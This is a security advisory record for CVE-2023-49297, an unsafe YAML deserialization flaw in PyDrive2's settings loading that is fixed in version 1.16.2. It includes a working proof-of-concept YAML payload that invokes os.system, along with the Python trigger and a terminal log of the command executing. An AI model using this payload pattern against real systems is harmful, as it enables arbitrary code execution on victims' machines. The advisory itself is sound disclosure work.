---
id: CVE-2023-49297
aliases:
  - GHSA-v5f6-hjmf-9mc5
  - PYSEC-2023-291
title: >-
  PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary
  code execution
summary: >-
  PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary
  code execution
severity: low
cvss: 3.3
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N'
vendor: pydrive2
product: pydrive2
ecosystem: pip
affected:
  - pydrive2
  - pydrive2 < 1.16.2
patched:
  - pydrive2 1.16.2
published: '2023-12-05'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:09.173407956Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-v5f6-hjmf-9mc5'
references:
  - url: >-
      https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2023-49297'
  - url: >-
      https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004
  - url: 'https://github.com/iterative/PyDrive2'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml
  - url: >-
      https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG
  - url: >-
      https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW
tags:
  - osv
  - pip
epss: 0.0051
epssPercentile: 0.41039
ingestedAt: '2026-09-12T03:13:01.729Z'
---

## Overview

### Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.

### Details
The loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5

This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121

CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.

https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9

Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

### PoC
1. Create a malicious `settings.yaml` file:

```yaml
!!python/object/new:os.system [echo poc]
```
2. Initialize a `GoogleAuth` object .
```python
from pydrive2.auth import GoogleAuth

gauth = GoogleAuth()
```
3. Execute the code with the settings file present in your directory. The code inside the file will be executed:
```
[evan@ejedev PyDrive2]$ ls
CHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py 
from pydrive2.auth import GoogleAuth


gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py 
poc
```
Alternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile` 

### Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk. 

## Affected packages

- `pydrive2`
- `pydrive2 < 1.16.2`

## Remediation

Upgrade to a patched release:

- `pydrive2 1.16.2`